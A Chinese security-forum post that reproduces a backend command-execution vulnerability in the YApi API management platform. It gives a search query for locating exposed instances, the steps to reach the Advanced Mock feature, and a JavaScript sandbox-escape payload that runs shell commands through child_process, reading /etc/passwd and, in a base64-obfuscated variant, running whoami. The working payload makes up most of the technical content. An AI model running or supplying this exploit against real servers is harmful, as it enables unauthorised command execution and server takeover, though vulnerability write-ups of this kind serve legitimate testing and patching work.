奇安信攻防社区-YApi 接口管理平台后台命令执行漏洞

YApi 接口管理平台后台命令执行漏洞

# YApi 接口管理平台后台命令执行漏洞 ## 漏洞描述 YApi 接口管理平台后台存在命令执行漏洞，攻击者通过发送特定的请求可执行任意命令获取服务器权限 ## 漏洞影响 YApi 接口管理...

YApi 接口管理平台 后台命令执行漏洞
====================

漏洞描述
----

YApi 接口管理平台 后台存在命令执行漏洞，攻击者通过发送特定的请求可执行任意命令获取服务器权限

漏洞影响
----

YApi 接口管理平台

网络测绘
----

app="YApi"

漏洞复现
----

登录页面

![img](https://shs3.b.qianxin.com/butian_public/f13034814647e3d74f3a8cb54aeab670262f30348fa1d.jpg)

首先需要注册账户并登录

![img](https://shs3.b.qianxin.com/butian_public/f377377b8e7c97d3b51b51ddd0b5b45d26100ebba0719.jpg)

![img](https://shs3.b.qianxin.com/butian_public/f149789154a51b442a476e8580659bfba58cfb2933f99.jpg)

添加项目，参数任意, 创建后点击 高级Mock 输入如下Payload

```javascript
const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数，返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("cat /etc/passwd").toString()

const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const base64Str = "Y29uc3QgciA9IHByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIikuZXhlY1N5bmMoImhhaGhhaGFoYWhhaGEiKTtyZXR1cm4gcjsK"
const bufferer = FunctionConstructor("haha = new Buffer('" + base64Str + "', 'base64');return haha");
const haha = new bufferer();
const c = haha.toString()
const daima = c.replace("hahhahahahaha","whoami")//这里写命令
const daima_jiazai = FunctionConstructor(daima);
const jieguo = daima_jiazai()
mockJson = jieguo.toString();
```

![img](https://shs3.b.qianxin.com/butian_public/f9960423957b774ab16905125ecc6baa0184e73cbdbe0.jpg)

预览处点击项目链接

![img](https://shs3.b.qianxin.com/butian_public/f247469e3146d947a3d31172cf5cbda022069683cd548.jpg)

发表于 2024-07-12 18:47:49
阅读 ( 1019 )
分类：Web应用

YApi 接口管理平台 后台命令执行漏洞

0 条评论

YApi 接口管理平台后台命令执行漏洞